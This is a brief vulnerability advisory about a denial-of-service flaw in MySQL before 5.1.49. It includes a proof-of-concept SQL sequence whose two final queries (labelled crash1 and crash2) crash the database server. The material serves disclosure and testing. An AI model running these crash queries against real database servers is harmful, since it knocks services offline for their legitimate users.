MySQL is prone to a denial-of-service vulnerability.
An attacker can exploit this issue to crash the database, denying access to legitimate users.
This issue affects versions prior to MySQL 5.1.49.
NOTE: This issue was previously covered in BID 42586 (Oracle MySQL Prior to 5.1.49 Multiple Denial Of Service Vulnerabilities) but has been assigned its own record to better document it.
drop table if exists `t1`;
create table `t1`(`a` int)engine=myisam;
insert into `t1` values (1);
/*crash1*/select (`a` in (`a`,`a`)) from `t1` group by `a` with rollup;
/*crash2*/select (case (`a`) when (`a`) then (`a`) end) as `a` from `t1` group by `a`